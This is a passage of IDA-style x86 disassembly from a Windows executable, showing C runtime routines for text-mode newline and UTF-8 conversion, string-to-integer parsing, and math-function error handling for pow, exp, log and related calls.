		lea	eax, [ebp+var_18]
		push	eax
		push	1
		lea	eax, [ebp+var_1]
		push	eax
		mov	eax, [ebx]
		push	dword ptr [esi+eax]
		call	ds:off_41E078
		test	eax, eax
		jnz	short loc_414334
		call	ds:dword_41E0F4	; RtlGetLastWin32Error
		test	eax, eax
		jnz	short loc_414379

loc_414334:				; CODE XREF: sub_41407D+2ABj
		cmp	[ebp+var_18], 0
		jz	short loc_414379
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 48h
		jz	short loc_414357
		cmp	[ebp+var_1], 0Ah
		jz	short loc_414302
		mov	byte ptr [edi],	0Dh
		mov	eax, [ebx]
		mov	cl, [ebp+var_1]
		mov	[esi+eax+5], cl
		jmp	short loc_41437C
; ---------------------------------------------------------------------------

loc_414357:				; CODE XREF: sub_41407D+2C4j
		cmp	edi, [ebp+var_C]
		jnz	short loc_414362
		cmp	[ebp+var_1], 0Ah
		jz	short loc_414302

loc_414362:				; CODE XREF: sub_41407D+2DDj
		push	1
		push	0FFFFFFFFh
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_416F7E
		add	esp, 10h
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41437D

loc_414379:				; CODE XREF: sub_41407D+28Dj
					; sub_41407D+2B5j ...
		mov	byte ptr [edi],	0Dh

loc_41437C:				; CODE XREF: sub_41407D+288j
					; sub_41407D+2D8j
		inc	edi

loc_41437D:				; CODE XREF: sub_41407D+26Bj
					; sub_41407D+2FAj
		mov	eax, [ebp+var_10]
		cmp	[ebp+arg_8], eax
		jb	loc_4142D0
		jmp	short loc_4143A0
; ---------------------------------------------------------------------------

loc_41438B:				; CODE XREF: sub_41407D+25Aj
		mov	eax, [ebx]
		lea	eax, [esi+eax+4]
		test	byte ptr [eax],	40h
		jnz	short loc_41439B
		or	byte ptr [eax],	2
		jmp	short loc_4143A0
; ---------------------------------------------------------------------------

loc_41439B:				; CODE XREF: sub_41407D+317j
		mov	al, [ecx]
		mov	[edi], al
		inc	edi

loc_4143A0:				; CODE XREF: sub_41407D+24Dj
					; sub_41407D+30Cj ...
		mov	eax, edi
		sub	eax, [ebp+var_C]
		cmp	[ebp+var_2], 1
		mov	[ebp+var_10], eax
		jnz	loc_414482
		test	eax, eax
		jz	loc_414482
		dec	edi
		mov	cl, [edi]
		test	cl, cl
		js	short loc_4143C7
		inc	edi
		jmp	loc_41444D
; ---------------------------------------------------------------------------

loc_4143C7:				; CODE XREF: sub_41407D+342j
		xor	eax, eax
		inc	eax
		movzx	ecx, cl
		jmp	short loc_4143DE
; ---------------------------------------------------------------------------

loc_4143CF:				; CODE XREF: sub_41407D+368j
		cmp	eax, 4
		jg	short loc_4143E7
		cmp	edi, [ebp+var_C]
		jb	short loc_4143E7
		dec	edi
		movzx	ecx, byte ptr [edi]
		inc	eax

loc_4143DE:				; CODE XREF: sub_41407D+350j
		cmp	byte_423C98[ecx], 0
		jz	short loc_4143CF

loc_4143E7:				; CODE XREF: sub_41407D+355j
					; sub_41407D+35Aj
		mov	dl, [edi]
		movzx	ecx, dl
		movsx	ecx, byte_423C98[ecx]
		test	ecx, ecx
		jnz	short loc_414404
		call	sub_40FCB4
		mov	dword ptr [eax], 2Ah
		jmp	short loc_41447E
; ---------------------------------------------------------------------------

loc_414404:				; CODE XREF: sub_41407D+378j
		inc	ecx
		cmp	ecx, eax
		jnz	short loc_41440D
		add	edi, eax
		jmp	short loc_41444D
; ---------------------------------------------------------------------------

loc_41440D:				; CODE XREF: sub_41407D+38Aj
		mov	ecx, [ebx]
		add	ecx, esi
		test	byte ptr [ecx+4], 48h
		jz	short loc_41443B
		inc	edi
		cmp	eax, 2
		mov	[ecx+5], dl
		jl	short loc_414429
		mov	dl, [edi]
		mov	ecx, [ebx]
		mov	[esi+ecx+25h], dl
		inc	edi

loc_414429:				; CODE XREF: sub_41407D+3A1j
		cmp	eax, 3
		jnz	short loc_414437
		mov	dl, [edi]
		mov	ecx, [ebx]
		mov	[esi+ecx+26h], dl
		inc	edi

loc_414437:				; CODE XREF: sub_41407D+3AFj
		sub	edi, eax
		jmp	short loc_41444D
; ---------------------------------------------------------------------------

loc_41443B:				; CODE XREF: sub_41407D+398j
		neg	eax
		cdq
		push	1
		push	edx
		push	eax
		push	[ebp+arg_0]
		call	sub_416F7E
		add	esp, 10h

loc_41444D:				; CODE XREF: sub_41407D+345j
					; sub_41407D+38Ej ...
		mov	eax, [ebp+var_1C]
		sub	edi, [ebp+var_C]
		shr	eax, 1
		push	eax
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_C]
		push	0
		push	0FDE9h
		call	ds:dword_41E0A0	; MultiByteToWideChar
		test	eax, eax
		mov	[ebp+var_10], eax
		jnz	short loc_4144A5
		call	ds:dword_41E0F4	; RtlGetLastWin32Error

loc_414477:				; CODE XREF: sub_41407D+58Cj
		push	eax
		call	sub_40FCDA
		pop	ecx

loc_41447E:				; CODE XREF: sub_41407D+385j
					; sub_41407D+584j
		or	[ebp+var_14], 0FFFFFFFFh

loc_414482:				; CODE XREF: sub_41407D+1ADj
					; sub_41407D+32Fj ...
		mov	eax, [ebp+var_C]
		cmp	eax, [ebp+arg_4]
		jz	short loc_414491
		push	eax
		call	sub_40DBA6
		pop	ecx

loc_414491:				; CODE XREF: sub_41407D+40Bj
		mov	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFEh
		jnz	loc_41461A
		mov	eax, [ebp+var_10]
		jmp	loc_41461A
; ---------------------------------------------------------------------------

loc_4144A5:				; CODE XREF: sub_41407D+3F2j
		add	eax, eax
		mov	[ebp+var_10], eax
		jmp	short loc_414482
; ---------------------------------------------------------------------------

loc_4144AC:				; CODE XREF: sub_41407D+1B7j
		test	edi, edi
		jz	short loc_4144BE
		mov	ecx, [ebp+var_C]
		cmp	word ptr [ecx],	0Ah
		jnz	short loc_4144BE
		or	byte ptr [eax],	4
		jmp	short loc_4144C1
; ---------------------------------------------------------------------------

loc_4144BE:				; CODE XREF: sub_41407D+431j
					; sub_41407D+43Aj
		and	byte ptr [eax],	0FBh

loc_4144C1:				; CODE XREF: sub_41407D+43Fj
		mov	edi, [ebp+var_C]
		mov	eax, [ebp+var_10]
		add	eax, edi
		cmp	edi, eax
		mov	[ebp+arg_8], edi
		mov	[ebp+var_10], eax
		jnb	loc_4145D7

loc_4144D7:				; CODE XREF: sub_41407D+53Aj
		mov	eax, [ebp+arg_8]
		movzx	ecx, word ptr [eax]
		cmp	cx, 1Ah
		jz	loc_4145BF
		cmp	cx, 0Dh
		jz	short loc_4144FC
		mov	[edi], cx
		inc	edi
		inc	edi
		inc	eax
		inc	eax
		mov	[ebp+arg_8], eax
		jmp	loc_4145B1
; ---------------------------------------------------------------------------

loc_4144FC:				; CODE XREF: sub_41407D+46Ej
		mov	ecx, [ebp+var_10]
		add	ecx, 0FFFFFFFEh
		cmp	eax, ecx
		jnb	short loc_414527
		lea	ecx, [eax+2]
		cmp	word ptr [ecx],	0Ah
		jnz	short loc_41451F
		add	eax, 4
		mov	[ebp+arg_8], eax

loc_414515:				; CODE XREF: sub_41407D+4E7j
					; sub_41407D+513j
		mov	word ptr [edi],	0Ah
		jmp	loc_4145AF
; ---------------------------------------------------------------------------

loc_41451F:				; CODE XREF: sub_41407D+490j
		mov	[ebp+arg_8], ecx
		jmp	loc_4145AA
; ---------------------------------------------------------------------------

loc_414527:				; CODE XREF: sub_41407D+487j
		add	[ebp+arg_8], 2
		push	0
		lea	eax, [ebp+var_18]
		push	eax
		push	2
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebx]
		push	dword ptr [esi+eax]
		call	ds:off_41E078
		test	eax, eax
		jnz	short loc_414550
		call	ds:dword_41E0F4	; RtlGetLastWin32Error
		test	eax, eax
		jnz	short loc_4145AA

loc_414550:				; CODE XREF: sub_41407D+4C7j
		cmp	[ebp+var_18], 0
		jz	short loc_4145AA
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 48h
		jz	short loc_414586
		cmp	[ebp+var_8], 0Ah
		jz	short loc_414515
		mov	word ptr [edi],	0Dh
		mov	eax, [ebx]
		mov	cl, byte ptr [ebp+var_8]
		mov	[esi+eax+5], cl
		mov	eax, [ebx]
		mov	cl, byte ptr [ebp+var_8+1]
		mov	[esi+eax+25h], cl
		mov	eax, [ebx]
		mov	byte ptr [esi+eax+26h],	0Ah
		jmp	short loc_4145AF
; ---------------------------------------------------------------------------

loc_414586:				; CODE XREF: sub_41407D+4E0j
		cmp	edi, [ebp+var_C]
		jnz	short loc_414592
		cmp	[ebp+var_8], 0Ah
		jz	short loc_414515

loc_414592:				; CODE XREF: sub_41407D+50Cj
		push	1
		push	0FFFFFFFFh
		push	0FFFFFFFEh
		push	[ebp+arg_0]
		call	sub_416F7E
		add	esp, 10h
		cmp	[ebp+var_8], 0Ah
		jz	short loc_4145B1

loc_4145AA:				; CODE XREF: sub_41407D+4A5j
					; sub_41407D+4D1j ...
		mov	word ptr [edi],	0Dh

loc_4145AF:				; CODE XREF: sub_41407D+49Dj
					; sub_41407D+507j
		inc	edi
		inc	edi

loc_4145B1:				; CODE XREF: sub_41407D+47Aj
					; sub_41407D+52Bj
		mov	eax, [ebp+var_10]
		cmp	[ebp+arg_8], eax
		jb	loc_4144D7
		jmp	short loc_4145D7
; ---------------------------------------------------------------------------

loc_4145BF:				; CODE XREF: sub_41407D+464j
		mov	ecx, [ebx]
		lea	esi, [esi+ecx+4]
		test	byte ptr [esi],	40h
		jnz	short loc_4145CF
		or	byte ptr [esi],	2
		jmp	short loc_4145D7
; ---------------------------------------------------------------------------

loc_4145CF:				; CODE XREF: sub_41407D+54Bj
		mov	ax, [eax]
		mov	[edi], ax
		inc	edi
		inc	edi

loc_4145D7:				; CODE XREF: sub_41407D+454j
					; sub_41407D+540j ...
		sub	edi, [ebp+var_C]
		mov	[ebp+var_10], edi
		jmp	loc_414482
; ---------------------------------------------------------------------------

loc_4145E2:				; CODE XREF: sub_41407D+187j
					; sub_41407D+192j ...
		call	ds:dword_41E0F4	; RtlGetLastWin32Error
		push	5
		pop	esi
		cmp	eax, esi
		jnz	short loc_414606
		call	sub_40FCB4
		mov	dword ptr [eax], 9
		call	sub_40FCC7
		mov	[eax], esi
		jmp	loc_41447E
; ---------------------------------------------------------------------------

loc_414606:				; CODE XREF: sub_41407D+570j
		cmp	eax, 6Dh
		jnz	loc_414477
		and	[ebp+var_14], 0
		jmp	loc_414482
; ---------------------------------------------------------------------------

loc_414618:				; CODE XREF: sub_41407D+A6j
					; sub_41407D+AFj
		xor	eax, eax

loc_41461A:				; CODE XREF: sub_41407D+235j
					; sub_41407D+41Aj ...
		pop	ebx

loc_41461B:				; CODE XREF: sub_41407D+66j
		pop	edi

loc_41461C:				; CODE XREF: sub_41407D+30j
		pop	esi
		leave
		retn
sub_41407D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41461F	proc near		; CODE XREF: sub_40E09C+C9p
					; sub_413F5D+73p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	10h
		push	offset dword_421C98
		call	__SEH_prolog4
		mov	eax, [ebp+arg_0]
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_41464E
		call	sub_40FCC7
		and	dword ptr [eax], 0
		call	sub_40FCB4
		mov	dword ptr [eax], 9

loc_414646:				; CODE XREF: sub_41461F+5Cj
		or	eax, 0FFFFFFFFh
		jmp	loc_4146EB
; ---------------------------------------------------------------------------

loc_41464E:				; CODE XREF: sub_41461F+12j
		xor	edi, edi
		cmp	eax, edi
		jl	short loc_41465C
		cmp	eax, dword_433CD8
		jb	short loc_41467D

loc_41465C:				; CODE XREF: sub_41461F+33j
					; sub_41461F+7Cj
		call	sub_40FCC7
		mov	[eax], edi
		call	sub_40FCB4
		mov	dword ptr [eax], 9
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		call	sub_40D31E
		add	esp, 14h
		jmp	short loc_414646
; ---------------------------------------------------------------------------

loc_41467D:				; CODE XREF: sub_41461F+3Bj
		mov	ecx, eax
		sar	ecx, 5
		lea	ebx, ds:433CE0h[ecx*4]
		mov	esi, eax
		and	esi, 1Fh
		imul	esi, 28h
		mov	ecx, [ebx]
		movzx	ecx, byte ptr [ecx+esi+4]
		and	ecx, 1
		jz	short loc_41465C
		push	eax
		call	sub_418F1A
		pop	ecx
		mov	[ebp+ms_exc.disabled], edi
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_4146C6
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41407D
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		jmp	short loc_4146DC
; ---------------------------------------------------------------------------

loc_4146C6:				; CODE XREF: sub_41461F+8Fj
		call	sub_40FCB4
		mov	dword ptr [eax], 9
		call	sub_40FCC7
		mov	[eax], edi
		or	[ebp+var_1C], 0FFFFFFFFh

loc_4146DC:				; CODE XREF: sub_41461F+A5j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_4146F1
		mov	eax, [ebp+var_1C]

loc_4146EB:				; CODE XREF: sub_41461F+2Aj
		call	__SEH_epilog4
		retn
sub_41461F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4146F1	proc near		; CODE XREF: sub_41461F+C4p
					; DATA XREF: ev73vtp2:00421CB0o
		push	dword ptr [ebp+8]
		call	sub_418FBA
		pop	ecx
		retn
sub_4146F1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4146FB	proc near		; CODE XREF: sub_414926:loc_414945p

var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	edi
		push	[ebp+arg_0]
		lea	ecx, [ebp+var_14]
		call	sub_40AFFD
		mov	eax, [ebp+arg_8]
		mov	esi, [ebp+arg_4]
		xor	edi, edi
		cmp	eax, edi
		jz	short loc_41471C
		mov	[eax], esi

loc_41471C:				; CODE XREF: sub_4146FB+1Dj
		cmp	esi, edi
		jnz	short loc_41474C

loc_414720:				; CODE XREF: sub_4146FB+5Aj
					; sub_4146FB+60j
		call	sub_40FCB4
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		mov	dword ptr [eax], 16h
		call	sub_40D31E
		add	esp, 14h
		cmp	[ebp+var_8], 0
		jz	short loc_414745
		mov	eax, [ebp+var_C]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_414745:				; CODE XREF: sub_4146FB+41j
		xor	eax, eax
		jmp	loc_414922
; ---------------------------------------------------------------------------

loc_41474C:				; CODE XREF: sub_4146FB+23j
		cmp	[ebp+arg_C], edi
		jz	short loc_41475D
		cmp	[ebp+arg_C], 2
		jl	short loc_414720
		cmp	[ebp+arg_C], 24h
		jg	short loc_414720

loc_41475D:				; CODE XREF: sub_4146FB+54j
		mov	ecx, [ebp+var_14]
		push	ebx
		mov	bl, [esi]
		mov	[ebp+var_4], edi
		lea	edi, [esi+1]

loc_414769:				; CODE XREF: sub_4146FB+A5j
		cmp	dword ptr [ecx+0ACh], 1
		jle	short loc_414789
		lea	eax, [ebp+var_14]
		push	eax
		movzx	eax, bl
		push	8
		push	eax
		call	sub_416D04
		mov	ecx, [ebp+var_14]
		add	esp, 0Ch
		jmp	short loc_414799
; ---------------------------------------------------------------------------

loc_414789:				; CODE XREF: sub_4146FB+75j
		mov	edx, [ecx+0C8h]
		movzx	eax, bl
		movzx	eax, byte ptr [edx+eax*2]
		and	eax, 8

loc_414799:				; CODE XREF: sub_4146FB+8Cj
		test	eax, eax
		jz	short loc_4147A2
		mov	bl, [edi]
		inc	edi
		jmp	short loc_414769
; ---------------------------------------------------------------------------

loc_4147A2:				; CODE XREF: sub_4146FB+A0j
		cmp	bl, 2Dh
		jnz	short loc_4147AD
		or	[ebp+arg_10], 2
		jmp	short loc_4147B2
; ---------------------------------------------------------------------------

loc_4147AD:				; CODE XREF: sub_4146FB+AAj
		cmp	bl, 2Bh
		jnz	short loc_4147B5

loc_4147B2:				; CODE XREF: sub_4146FB+B0j
		mov	bl, [edi]
		inc	edi

loc_4147B5:				; CODE XREF: sub_4146FB+B5j
		mov	eax, [ebp+arg_C]
		test	eax, eax
		jl	loc_414909
		cmp	eax, 1
		jz	loc_414909
		cmp	eax, 24h
		jg	loc_414909
		test	eax, eax
		jnz	short loc_414800
		cmp	bl, 30h
		jz	short loc_4147E4
		mov	[ebp+arg_C], 0Ah
		jmp	short loc_414818
; ---------------------------------------------------------------------------

loc_4147E4:				; CODE XREF: sub_4146FB+DEj
		mov	al, [edi]
		cmp	al, 78h
		jz	short loc_4147F7
		cmp	al, 58h
		jz	short loc_4147F7
		mov	[ebp+arg_C], 8
		jmp	short loc_414818
; ---------------------------------------------------------------------------

loc_4147F7:				; CODE XREF: sub_4146FB+EDj
					; sub_4146FB+F1j
		mov	[ebp+arg_C], 10h
		jmp	short loc_41480A
; ---------------------------------------------------------------------------

loc_414800:				; CODE XREF: sub_4146FB+D9j
		cmp	eax, 10h
		jnz	short loc_414818
		cmp	bl, 30h
		jnz	short loc_414818

loc_41480A:				; CODE XREF: sub_4146FB+103j
		mov	al, [edi]
		cmp	al, 78h
		jz	short loc_414814
		cmp	al, 58h
		jnz	short loc_414818

loc_414814:				; CODE XREF: sub_4146FB+113j
		inc	edi
		mov	bl, [edi]
		inc	edi

loc_414818:				; CODE XREF: sub_4146FB+E7j
					; sub_4146FB+FAj ...
		mov	esi, [ecx+0C8h]
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_C]

loc_414826:				; CODE XREF: sub_4146FB+19Dj
		movzx	ecx, bl
		movzx	ecx, word ptr [esi+ecx*2]
		test	cl, 4
		jz	short loc_41483A
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_414854
; ---------------------------------------------------------------------------

loc_41483A:				; CODE XREF: sub_4146FB+135j
		test	cx, 103h
		jz	short loc_414872
		mov	cl, bl
		sub	cl, 61h
		cmp	cl, 19h
		movsx	ecx, bl
		ja	short loc_414851
		sub	ecx, 20h

loc_414851:				; CODE XREF: sub_4146FB+151j
		add	ecx, 0FFFFFFC9h

loc_414854:				; CODE XREF: sub_4146FB+13Dj
		cmp	ecx, [ebp+arg_C]
		jnb	short loc_414872
		or	[ebp+arg_10], 8
		cmp	[ebp+var_4], eax
		jb	short loc_414889
		jnz	short loc_414868
		cmp	ecx, edx
		jbe	short loc_414889

loc_414868:				; CODE XREF: sub_4146FB+167j
		or	[ebp+arg_10], 4
		cmp	[ebp+arg_8], 0
		jnz	short loc_414895

loc_414872:				; CODE XREF: sub_4146FB+144j
					; sub_4146FB+15Cj
		mov	eax, [ebp+arg_10]
		dec	edi
		test	al, 8
		jnz	short loc_41489A
		cmp	[ebp+arg_8], 0
		jz	short loc_414883
		mov	edi, [ebp+arg_4]

loc_414883:				; CODE XREF: sub_4146FB+183j
		and	[ebp+var_4], 0
		jmp	short loc_4148E5
; ---------------------------------------------------------------------------

loc_414889:				; CODE XREF: sub_4146FB+165j
					; sub_4146FB+16Bj
		mov	ebx, [ebp+var_4]
		imul	ebx, [ebp+arg_C]
		add	ebx, ecx
		mov	[ebp+var_4], ebx

loc_414895:				; CODE XREF: sub_4146FB+175j
		mov	bl, [edi]
		inc	edi
		jmp	short loc_414826
; ---------------------------------------------------------------------------

loc_41489A:				; CODE XREF: sub_4146FB+17Dj
		test	al, 4
		mov	esi, 7FFFFFFFh
		jnz	short loc_4148BE
		test	al, 1
		jnz	short loc_4148E5
		and	eax, 2
		jz	short loc_4148B5
		cmp	[ebp+var_4], 80000000h
		ja	short loc_4148BE

loc_4148B5:				; CODE XREF: sub_4146FB+1AFj
		test	eax, eax
		jnz	short loc_4148E5
		cmp	[ebp+var_4], esi
		jbe	short loc_4148E5

loc_4148BE:				; CODE XREF: sub_4146FB+1A6j
					; sub_4146FB+1B8j
		call	sub_40FCB4
		test	byte ptr [ebp+arg_10], 1
		mov	dword ptr [eax], 22h
		jz	short loc_4148D5
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4148E5
; ---------------------------------------------------------------------------

loc_4148D5:				; CODE XREF: sub_4146FB+1D2j
		mov	al, byte ptr [ebp+arg_10]
		and	al, 2
		neg	al
		sbb	eax, eax
		neg	eax
		add	eax, esi
		mov	[ebp+var_4], eax

loc_4148E5:				; CODE XREF: sub_4146FB+18Cj
					; sub_4146FB+1AAj ...
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jz	short loc_4148EE
		mov	[eax], edi

loc_4148EE:				; CODE XREF: sub_4146FB+1EFj
		test	byte ptr [ebp+arg_10], 2
		jz	short loc_4148F7
		neg	[ebp+var_4]

loc_4148F7:				; CODE XREF: sub_4146FB+1F7j
		cmp	[ebp+var_8], 0
		jz	short loc_414904
		mov	eax, [ebp+var_C]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_414904:				; CODE XREF: sub_4146FB+200j
		mov	eax, [ebp+var_4]
		jmp	short loc_414921
; ---------------------------------------------------------------------------

loc_414909:				; CODE XREF: sub_4146FB+BFj
					; sub_4146FB+C8j ...
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jz	short loc_414912
		mov	[eax], esi

loc_414912:				; CODE XREF: sub_4146FB+213j
		cmp	[ebp+var_8], 0
		jz	short loc_41491F
		mov	eax, [ebp+var_C]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_41491F:				; CODE XREF: sub_4146FB+21Bj
		xor	eax, eax

loc_414921:				; CODE XREF: sub_4146FB+20Cj
		pop	ebx

loc_414922:				; CODE XREF: sub_4146FB+4Cj
		pop	edi
		pop	esi
		leave
		retn
sub_4146FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414926	proc near		; CODE XREF: sub_40E314+8p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		xor	eax, eax
		cmp	dword_425E40, eax
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		jnz	short loc_414944
		push	offset off_423680
		jmp	short loc_414945
; ---------------------------------------------------------------------------

loc_414944:				; CODE XREF: sub_414926+15j
		push	eax

loc_414945:				; CODE XREF: sub_414926+1Cj
		call	sub_4146FB
		add	esp, 14h
		pop	ebp
		retn
sub_414926	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41494F	proc near		; CODE XREF: sub_40E330+B5p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= qword	ptr -20h
var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		xor	eax, eax
		cmp	dword_426350, eax
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_0]
		mov	byte ptr [ebp+var_8], al
		mov	byte ptr [ebp+var_8+1],	al
		mov	byte ptr [ebp+var_8+2],	al
		mov	byte ptr [ebp+var_8+3],	al
		mov	byte ptr [ebp+var_8+4],	al
		mov	byte ptr [ebp+var_8+5],	al
		mov	byte ptr [ebp+var_8+6],	al
		mov	byte ptr [ebp+var_8+7],	al
		jz	short loc_414991
		push	dword_433CD4
		call	sub_40F674
		pop	ecx
		jmp	short loc_414996
; ---------------------------------------------------------------------------

loc_414991:				; CODE XREF: sub_41494F+32j
		mov	eax, offset sub_419838

loc_414996:				; CODE XREF: sub_41494F+40j
		mov	ecx, [ebp+arg_C]
		mov	edx, 0A6h
		cmp	ecx, edx
		jg	loc_414B1A
		jz	loc_414B07
		cmp	ecx, 19h
		jg	loc_414AAD
		jz	loc_414AA4
		mov	edx, ecx
		push	2
		pop	ecx
		sub	edx, ecx
		jz	loc_414A95
		dec	edx
		jz	loc_414A8C
		sub	edx, 5
		jz	loc_414A7D
		dec	edx
		jz	loc_414A65
		sub	edx, 5
		jz	short loc_414A55
		dec	edx
		jz	short loc_414A2C
		sub	edx, 9
		jnz	loc_414BC4	; default
		mov	[ebp+var_28], 3

loc_4149F7:				; CODE XREF: sub_41494F+1ACj
		mov	[ebp+var_24], offset aPow ; "pow"

loc_4149FE:				; CODE XREF: sub_41494F+114j
					; sub_41494F+138j ...
		fld	qword ptr [edi]
		lea	ecx, [ebp+var_28]
		fstp	[ebp+var_20]
		push	ecx
		fld	qword ptr [ebx]
		fstp	[ebp+var_18]
		fld	qword ptr [esi]
		fstp	[ebp+var_10]
		call	eax
		test	eax, eax
		pop	ecx
		jnz	loc_414BBF
		call	sub_40FCB4
		mov	dword ptr [eax], 22h
		jmp	loc_414BBF
; ---------------------------------------------------------------------------

loc_414A2C:				; CODE XREF: sub_41494F+96j
		mov	[ebp+var_24], offset aExp ; "exp"

loc_414A33:				; CODE XREF: sub_41494F+15Cj
		fld	qword ptr [edi]
		lea	ecx, [ebp+var_28]
		fstp	[ebp+var_20]
		push	ecx
		fld	qword ptr [ebx]
		mov	[ebp+var_28], 4
		fstp	[ebp+var_18]
		fld	qword ptr [esi]
		fstp	[ebp+var_10]
		call	eax
		pop	ecx
		jmp	loc_414BBF
; ---------------------------------------------------------------------------

loc_414A55:				; CODE XREF: sub_41494F+93j
		mov	[ebp+var_28], 3
		mov	[ebp+var_24], offset aExp ; "exp"
		jmp	short loc_4149FE
; ---------------------------------------------------------------------------

loc_414A65:				; CODE XREF: sub_41494F+8Aj
		mov	[ebp+var_24], offset aLog10 ; "log10"

loc_414A6C:				; CODE XREF: sub_41494F+144j
					; sub_41494F+181j ...
		fld	qword ptr [edi]
		fstp	[ebp+var_20]
		fld	qword ptr [ebx]
		fstp	[ebp+var_18]
		fld	qword ptr [esi]
		jmp	loc_414B9F
; ---------------------------------------------------------------------------

loc_414A7D:				; CODE XREF: sub_41494F+83j
		mov	[ebp+var_28], ecx
		mov	[ebp+var_24], offset aLog10 ; "log10"
		jmp	loc_4149FE
; ---------------------------------------------------------------------------

loc_414A8C:				; CODE XREF: sub_41494F+7Aj
		mov	[ebp+var_24], offset aLog ; "log"
		jmp	short loc_414A6C
; ---------------------------------------------------------------------------

loc_414A95:				; CODE XREF: sub_41494F+73j
		mov	[ebp+var_28], ecx
		mov	[ebp+var_24], offset aLog ; "log"
		jmp	loc_4149FE
; ---------------------------------------------------------------------------

loc_414AA4:				; CODE XREF: sub_41494F+66j
		mov	[ebp+var_24], offset aPow ; "pow"
		jmp	short loc_414A33
; ---------------------------------------------------------------------------

loc_414AAD:				; CODE XREF: sub_41494F+60j
		sub	ecx, 1Ah
		jz	short loc_414B00
		dec	ecx
		jz	short loc_414AF4
		dec	ecx
		jz	short loc_414AE8 ; jumptable 00414B29 case 1006
		dec	ecx
		jz	short loc_414ADB
		sub	ecx, 1Dh
		jz	short loc_414AD2 ; jumptable 00414B29 case 1008
		sub	ecx, 3
		jnz	loc_414BC4	; default

loc_414AC9:				; CODE XREF: sub_41494F+1DAj
					; DATA XREF: .text:off_414BCBo
		mov	[ebp+var_24], offset aAsin ; jumptable 00414B29	case 1009
		jmp	short loc_414A6C
; ---------------------------------------------------------------------------

loc_414AD2:				; CODE XREF: sub_41494F+16Fj
					; sub_41494F+1DAj
					; DATA XREF: ...
		mov	[ebp+var_24], offset aAcos ; jumptable 00414B29	case 1008
		jmp	short loc_414A6C
; ---------------------------------------------------------------------------

loc_414ADB:				; CODE XREF: sub_41494F+16Aj
		mov	[ebp+var_24], offset aPow ; "pow"

loc_414AE2:				; CODE XREF: sub_41494F+1E8j
					; sub_41494F+1F1j ...
		fld	qword ptr [edi]
		fstp	qword ptr [esi]
		jmp	short loc_414A6C
; ---------------------------------------------------------------------------

loc_414AE8:				; CODE XREF: sub_41494F+167j
					; sub_41494F+1DAj
					; DATA XREF: ...
		mov	[ebp+var_24], offset aPow ; jumptable 00414B29 case 1006
		jmp	loc_414A6C
; ---------------------------------------------------------------------------

loc_414AF4:				; CODE XREF: sub_41494F+164j
		mov	[ebp+var_28], 2
		jmp	loc_4149F7
; ---------------------------------------------------------------------------

loc_414B00:				; CODE XREF: sub_41494F+161j
		fld1
		jmp	loc_414BC2
; ---------------------------------------------------------------------------

loc_414B07:				; CODE XREF: sub_41494F+57j
		mov	[ebp+var_28], 3
		mov	[ebp+var_24], offset aExp10 ; "exp10"
		jmp	loc_4149FE
; ---------------------------------------------------------------------------

loc_414B1A:				; CODE XREF: sub_41494F+51j
		add	ecx, 0FFFFFC18h	; switch 13 cases
		cmp	ecx, 0Ch
		ja	loc_414BC4	; default
		jmp	ds:off_414BCB[ecx*4] ; switch jump

loc_414B30:				; DATA XREF: .text:off_414BCBo
		mov	[ebp+var_24], offset aLog ; jumptable 00414B29 case 1000
		jmp	short loc_414AE2
; ---------------------------------------------------------------------------

loc_414B39:				; CODE XREF: sub_41494F+1DAj
					; DATA XREF: .text:off_414BCBo
		mov	[ebp+var_24], offset aLog10 ; jumptable	00414B29 case 1001
		jmp	short loc_414AE2
; ---------------------------------------------------------------------------

loc_414B42:				; CODE XREF: sub_41494F+1DAj
					; DATA XREF: .text:off_414BCBo
		mov	[ebp+var_24], offset aExp ; jumptable 00414B29 case 1002
		jmp	short loc_414AE2
